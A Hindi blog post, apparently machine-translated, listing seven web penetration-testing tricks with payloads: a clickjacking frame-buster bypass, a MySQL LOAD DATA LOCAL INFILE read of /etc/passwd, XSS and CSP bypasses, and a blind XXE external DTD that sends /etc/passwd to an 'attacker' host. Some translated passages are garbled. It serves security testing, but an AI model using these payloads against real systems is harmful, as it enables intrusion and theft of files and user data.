💮 ⏩ ⛔️ वेब अनुप्रयोगों की सुरक्षा का विश्लेषण करने के लिए ट्रिक्स का चयन 👢 💞 🔧

सभी को नमस्कार! यह विषय विभिन्न अनुप्रयोगों के लिए समर्पित है जब वेब अनुप्रयोगों की सुरक्षा (पेंटेस्ट) का विश्लेषण किया जाता है। समय-समय पर, आप एक ऐसी स्थिति में आते हैं, जहां आपको किसी प्रकार के संरक्षण को बायपास करने की आवश्यकता होती है, इन प्रतिबंधों से बाहर निकलें, या बस कुछ अनभिज्ञ जगह का परीक्षण करें। और यह पोस्ट उसी के बारे में है! बिल्ली के लिए आपका स्वागत है।

ट्रिक # 1 - बायपास क्लिकजैकिंग प्रोटेक्शन

क्लिकजैकिंग इंटरनेट उपयोगकर्ताओं को धोखा देने के लिए एक तंत्र है, जिसमें एक हमलावर गोपनीय जानकारी तक पहुंच प्राप्त कर सकता है या यहां तक कि किसी उपयोगकर्ता के कंप्यूटर तक उसे स्पष्ट रूप से हानिरहित पृष्ठ पर पहुंचाने या दुर्भावनापूर्ण कोड को एक सुरक्षित पृष्ठ में इंजेक्ट करके प्राप्त कर सकता है। सिद्धांत इस तथ्य पर आधारित है कि दृश्य पृष्ठ के शीर्ष पर एक अदृश्य परत स्थित है, जिसमें हमलावर के लिए आवश्यक पृष्ठ लोड है, और आवश्यक कार्रवाई को पूरा करने के लिए आवश्यक नियंत्रण तत्व (बटन, लिंक) दृश्यमान लिंक या उपयोगकर्ता द्वारा क्लिक किए जाने की उम्मीद है के साथ संयुक्त है। । प्रौद्योगिकी के विभिन्न अनुप्रयोग संभव हैं - किसी सामाजिक नेटवर्क पर एक संसाधन की सदस्यता से लेकर गोपनीय जानकारी की चोरी करने और किसी और के खर्च पर ऑनलाइन स्टोर में खरीदारी करने तक (C) http://ru.wikipedia.org/wiki/Klickjacking

इस हमले में, आपको फ़्रेम में संसाधन प्रदर्शित करने की आवश्यकता होती है, और सुरक्षा का सही तरीका है कि आवश्यक प्रतिबंधों के साथ एक्स-फ़्रेम-विकल्प हेडर को जोड़ा जाए (आमतौर पर फ्रेम में संसाधन को सभी को दिखाना मना है)।
लेकिन साइटों की एक बड़ी संख्या पर आप एक समान कोड पा सकते हैं:

if (self !== top) { top.location = self.location; }

जावास्क्रिप्ट, जिसकी मदद से संसाधन फ्रेम से बाहर "कूद" करने की कोशिश करता है। और इस सुरक्षा को दरकिनार करने के दो तरीके हैं।

1. दौड़ की हालत

हम एक अनलोड विंडो पर एक नई श्रोता को "लटका" सकते हैं और पूरी खिड़की को एक दौड़ की स्थिति में डाल सकते हैं

 var kill_bust = 0 window.onbeforeunload = function(){kill_bust++}; setInterval(function() { if (kill_bust > 0) { kill_bust -= 2; top.location = '204.php'; }}, 1);

जहाँ 204.php निम्नलिखित लिपि है

 header("HTTP/1.0 204 No Response");

नतीजतन, साइट को फ्रेम से बाहर "कूद" न दें।

2. HTML5 मानकों का उपयोग करना

हम स्क्रिप्ट के एक्शन को सैंडबॉक्स मोड में खोलकर सीमित कर सकते हैं

 <iframe src="http://victim.com" sandbox=" allow-forms allow-scripts" />

ZeroNights वर्कशॉप में इन तरीकों पर चर्चा की गई: 2013.zeronights.org/includes/docs/Krzysztof_Kotowicz_-_Hacking_HTML5.pdf

ट्रिक # 2 - MySQL में फाइल को बिना file_priv के पढ़ना

ऐसा माना जाता है कि उपयोगकर्ता द्वारा निर्धारित फ़ाइल विशेषाधिकारों के साथ फाइलें केवल MySQL में पढ़ी जा सकती हैं। लेकिन यह पूरी तरह सच नहीं है। यदि हमारे पास टेबल बनाने का अधिकार है, तो हम बिना file_priv के टेबल बनाते समय फाइल को पढ़ सकते हैं

 LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY ' ';

और

 select * from test;

इस विषय पर चर्चा फोरम पर की जाती है ।

ट्रिक # 3 - एक्सएसएस के लिए इको सेवाओं का उपयोग करना

यह चाल बहुत विशिष्ट XSS के लिए PoC बनाने पर लागू होती है। एक प्रतिध्वनि सेवा की कल्पना करें जो केवल अनुरोधित सामग्री को वापस खिलाती है। यदि हम इसे HTTP के माध्यम से एक्सेस करते हैं, तो यह बस हमारे सभी HTTP अनुरोध को हमें वापस कर देगा। और अगर हम पीड़ितों की तरह कुछ पूछते हैं। Com : 1024 / <script> सतर्क (1) </ script>? फिर वह हमारे लिए पूरा HTTP अनुरोध वापस करेगा, जहां शुरुआत में XSS होगा। लेकिन दो बिंदु हैं।

HTTP अनुरोध के लिए प्रतिक्रिया सही नहीं होगी (प्रोटोकॉल संस्करण HTTP 1.X + के लिए), लेकिन HTTP 0.9 के संस्करण में अनुरोध का सही ढंग से जवाब देना आवश्यक नहीं है, इसलिए कुछ ब्राउज़र (इंटरनेट एक्सप्लोरर) ऐसे उत्तरों को प्रस्तुत करते हैं। यह Michal Zalewski के द टैंगल्ड वेब में पाया जा सकता है।
सर्वर को एक अनुरोध भेजने से पहले, ब्राउज़र यूआरएल को एक "सुरक्षित" रूप में परिवर्तित करता है (आपके पता बार में 20% और इसी तरह की चीजें)। नतीजतन, प्रतिध्वनि सेवा इसे xss - <script> के साथ हमारे टैग नहीं लौटाएगी, लेकिन% 3Ccript% 3E। लेकिन! इंटरनेट एक्स्प्लोरर URL में पहले प्रश्न (GET पैरामीटर) के बाद डेटा को एनकोड नहीं करता है।

लेकिन एक्सप्लोरर बनाने का एक तरीका है कि URL में कुछ भी न डालें (यह विधि गलती से पेंट के दौरान मिली थी)। यह लोकेशन हेडर के माध्यम से IE लिंक को रेंडर करना है

 <?php header("Location: http://victim/ANY_DATA_HERE_WILL_BE_NOT_ENCODED"); ?>

परिणामस्वरूप, एक गूंज सेवा के लिए "सामान्य" अनुरोध भेजें, जो इसे हमें वापस कर देगा। और IE प्रतिपादन करता है।
अगला, एक तार्किक प्रश्न उठता है, लेकिन सेम ओरिजिन पॉलिसी के बारे में क्या? आखिरकार, हम एक अलग पोर्ट पर js निष्पादित करते हैं, वेब सर्वर के पोर्ट से अलग और जिस साइट पर हम हमला कर रहे हैं? इंटरनेट एक्सप्लोरर में, पोर्ट को इस तरह से एसओपी का पता लगाने में ध्यान नहीं दिया जाता है। नतीजतन, इस तरह की चाल बस (POC) को दिखाने में मदद करती है कि वेक्टर डेटा में है, बहुत कठिन परिस्थितियों में। उदाहरण के लिए - एसएपी में हमारे क्लर्कों द्वारा एक समान पाया गया।

ट्रिक # 4 - ब्लाइंड एक्सएमएल इंजेक्शन के साथ डेटा पढ़ना

XXE XML प्रसंस्करण अनुप्रयोगों पर हमला है। कुछ मान्य और अपेक्षित डेटा के बजाय, XML एंटिटीज़ को प्रोसेसिंग के लिए दिया जाता है, जिसे पार्सर को पहले (डिफ़ॉल्ट रूप से) पार्स करना होगा, और उसके बाद ही सभी XML को प्रोसेस करना होगा। एक इकाई के रूप में, आप एक फ़ाइल निर्दिष्ट कर सकते हैं (उदाहरण के लिए, एक उपनाम के रूप में) और फिर अपना उपनाम देखें (और यह एक / / / पासवार्ड है)। लेकिन ऐसी स्थितियां हैं जब आप XML और सब कुछ भेजते हैं, कहीं भी, कोई जवाब नहीं। इस तरह के अंधा इंजेक्शन के साथ, आप जापानी / पीटी वेक्टर का उपयोग कर सकते हैं।

बाहरी पते पर DTD के साथ पहला XML सुझाया गया:

evil.xml

 <?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://attacker/test.dtd" > <foo>&e1;</foo>

test.dtd

 <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker/BLAH#%p1;'>"> %p2;

नतीजतन, XML पार्सर डेटा को ऊपर संसाधित करेगा और जीईटी इकाई को अनुरोध के साथ क्वेरी करने की कोशिश करेगा, जिसके मापदंडों में फ़ाइल डेटा होगा (और पहले से ही access.log की निगरानी कर रहा है)।

ट्रिक # 5 - GIF फ़ाइल से CSP बाईपास और जावास्क्रिप्ट निष्पादन

सामग्री-सुरक्षा-नीति - एक हेडर जो ब्राउज़र को बताता है कि विभिन्न डेटा को कहां से लोड करना है (उदाहरण के लिए, जेएस), बाकी सब कुछ निषिद्ध है। यह एक्सएसएस कमजोरियों के शोषण को बहुत जटिल करता है। हम अपना परिचय दे सकते हैं, लेकिन हम js - नहीं, .js फ़ाइलों को कुछ विशिष्ट डोमेन से ही अनुमति दे सकते हैं। अब, यदि हम फ़ाइलें अपलोड कर सकते हैं (उदाहरण के लिए, एक पत्र में संलग्न करें), तो हम एक "दुर्भावनापूर्ण" काफी वैध जीआईएफ फ़ाइल उत्पन्न कर सकते हैं, जिसके साथ

 <script src = "http://domain-in-white-list/evil_image.gif"></script>

जेएस सच हो जाएगा। फेसबुक में प्रयुक्त डेमो स्क्रिप्ट ।

ट्रिक # 6 - "कंटेंट-डिस्पोजल: अटैचमेंट" हैडर को अनदेखा करना और ब्राउजर में स्क्रिप्ट रेंडर करना।

मैंने इस वेक्टर का यहां विस्तार से वर्णन किया है । मुद्दा यह है कि iOS डिवाइस इस हेडर को अनदेखा करते हैं और ब्राउज़र में "प्रयोग करने योग्य" सामग्री (html / svg) रेंडर करते हैं। उदाहरण जीमेल से लगाव के अंतिम लेख से, जो कि ब्राउज़र में अपने आप नहीं खुलना चाहिए

जीमेल

ट्रिक # 7 - XSS पर परीक्षण करते समय "अलोकप्रिय" जगह

तथ्य - ट्रिक में वर्णित जगह वास्तव में बहुत ही अलोकप्रिय है जब कई पेंटर्स के बीच एक्सएसएस के लिए परीक्षण किया जाता है।

आइडिया: एक फ़ाइल बनाएं <img src = x onerror = alert (1)>। Jpeg और इसे पीड़ित को भेजें।

लिनक्स सिस्टम पर, उस नाम से फाइल बनाना आसान है

  # स्पर्श '<img src = x onerror = alert (1)>। jpeg'

लेकिन विंडोज के तहत - यह असंभव है, इस ओएस के फाइल सिस्टम की सुविधाओं के कारण। समाधान बहुत सरल है, सभी बर्प प्रॉक्सी ट्रैफ़िक को शुरू करें और इसे भेजने के चरण में डेटा को बदलें

 ------ WebKitFormBoundaryFS9MRFpHBt02jHkz
 सामग्री-विवाद: फ़ॉर्म-डेटा;  नाम = "अपलोड [0]";  फ़ाइल नाम = ""> <img src = x onerror = alert (1)> "

इसी तरह से, Google AdWords में XSS पाया गया - c0rni3sm.blogspot.ru/2013/12/12/google-adwords-stored-xss-from-nay-to.html , जो अन्य उपयोगकर्ताओं के खिलाफ इस्तेमाल किया जा सकता है।

आपका ध्यान के लिए धन्यवाद!

वेब अनुप्रयोगों की सुरक्षा का विश्लेषण करने के लिए ट्रिक्स का चयन